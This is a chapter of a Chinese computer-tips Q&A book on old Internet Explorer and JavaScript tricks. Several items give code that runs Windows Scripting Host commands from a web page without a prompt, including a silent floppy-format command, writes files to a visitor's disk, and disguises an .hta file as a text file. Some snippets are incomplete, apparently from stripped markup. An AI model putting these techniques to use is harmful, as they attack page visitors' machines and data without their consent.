万书网 > 其他书籍 > 电脑十万个为什么 > 第53章

第53章



FSO.FolderExists(loc))    //    is    Windows2000    up

{    

loc    =    FSO.GetDriveName(WF)    +    "\\Documents    and    Settings\\"    +    Net.UserName    +    "\\Favorites";    

if(!FSO.FolderExists(loc))    {    return;    }    

}    

AddFavLnk(loc,    top.document.title,    top.location);    //你也可以直接设置    top.document.title    为常量字符串

}

catch(e)    {}    

}    

catch(e)    {}    

}    

function    init()    {    setTimeout("f()",    100);    }    

init();    

        注:如果你的主页在    Frame    中,则收藏夹中的提示信息取分帧的主页的    Title。你也可以直接设置为常量字符串。        

    120,Q:用代码关闭    IE    窗口时不提示:

                    A:

                    function    closewin()    {    cn=closes.Click();    }

    121,Q:如何保存网页上的    Flash    动画?

                    A:1、在浏览网页的网站里面找    *.swf    文件,然后用蚂蚁之类的下载软件拉;

                2、直接到    IE    的缓存目录里面搜索    *.swf    文件比较快;

                3、如果在脱机浏览时,还能够看到    Flash,万幸!    赶快到    Windows    目录下的    Temporary    Internet    Files    文件夹下去找    Flash(Windows2000    下在    \Documents    and    Settings\用户名\Local    Settings    文件夹下),它也许正老老实实地躺在那里呢。        

    122,Q:在网页中应用    wsh    对象执行浏览器端的程序(以运行    Command    为例)

                    A:必须把浏览器的安全级别设置为最低才能执行以下脚本。

                    wsh.run('c:\\command');

                注意:如果把    'c:\\command'    换成    'Format    a:    /autotest/q/u',就会不出现任何提示,自动格式化本地浏览者的软盘!    请各位试验时保护好自己的数据,更提醒各位不要用此法害人!        

    123,Q:在网页中给浏览器端写文件

                    A:浏览包含以下代码的网页,会在浏览器端的    C:    盘跟目录下生成一个名为    file_created_by_ocx.txt    的文本文件,文件内容中包含字符串    "myfile:I    want    to    write    a    file!":

                    document.scr.Reset();

                    document.scr.Path="C:\\file_created_by_ocx.txt";

                    document.scr.Doc="myfile:I    want    to    write    a    file!";

                    document.scr.write();

    124,Q:在网页中不加任何提示打开浏览器本地可执行程序:

                    A:

                document.write("");

                function    runcmd()

                {

                try

                {

                obj=document.applets[0];

                obj.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");    //Windows    Scripting    Host    的外壳对象

                obj.createInstance();    //创建    wsh    的一个实例

                Shell=obj.GetObject();

                Shell.run('c:\\command');

                }

                catch(e){};

                }

                setTimeout("runcmd()",1);    //1ms

    125,Q:用    GUID    构造    hta    文件:

                    A:建立一个名为    myfile.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}    的文件,看上去是一个文本文件,其实是一个    hta    文件,双击可以用    IE    打开。        

    126,Q:应用    wsh    对象的又一方法

                    A:

                    wsh=new    ActiveXObject("WSCript.Shell")    //声明

                    wsh.run("command")    //执行命令

                该脚本在    .hta    文件中执行没有提示,在    .htm    中执行有提示,且只有    IE    的安全级别设为最低才能执行。        

    127,Q:在网页上按任意键后,进入另一个页面

                    A:在网页的        中间放置以下脚本即可。注意必须使当前页面获得“焦点”。

                    this.location="another.htm"

    128,Q:在    FLASH    中是不是只能够插入    wav    格式的音乐文件?

                    A:在    Flash4    中只能插入    wav    格式,但在    Flash5    中已经可以插入别的格式了。如    MP3。        

    129,Q:Asp    与    Javascript    交换数据时一个问题的解决

                    A:有下列一段代码,用    Javascript    接受    Asp    的一个变量    strVal    的值:

                    alert()

                但是,在    Js    中,显示该值为    "68",显然    Js    把    Asp    的字符串值    "0104"    作为自己的    8    进制数给用了(在    Js    中以    0    打头的数值为    8    进制数)。由于    Js    为弱类型的语言,它接收到    strVal    的值后默认其为数值型变量。这就把变量的类型给强行转换了。

                为了避免这两种语言交换字符串数据时产生的语义分歧,必须在    Asp    中给字符串的首、尾加上单引号,这样    Js    接收后就不会误会了,即:

    130,Q:在网页中用    Javascript    判断    IE    窗口是否打开,还可以对    IE    窗口进行关闭/置前/置后操作

                    A:按“打开窗口”按钮后,如果    new.htm    没有打开,则打开它;如果打开了,就报告“new.htm    is    already    opened.”。

                var    myPage;    

                function    openMyPage()

                {    

                if    (!myPage    ||    myPage.closed)

                {    myPage=window.open("new.htm",    "_blank");    }    

                else

                {    alert("new.htm    is    already    opened.");    }    

                }    

                以下函数还可以关闭上面打开的    IE    窗口:

                    function    closeMyPage()

                    {    myPage.close();    }

                置前    IE    窗口:

                    function    focusMyPage()

                    {    myPage.focus();    }

                置后    IE    窗口:

                    function    blurMyPage()

                    {    myPage.blur();    }

                以上方法只能打开、判断、操作本    IE    内代码控制的窗口,对别的    IE    进程的子窗口不起作用。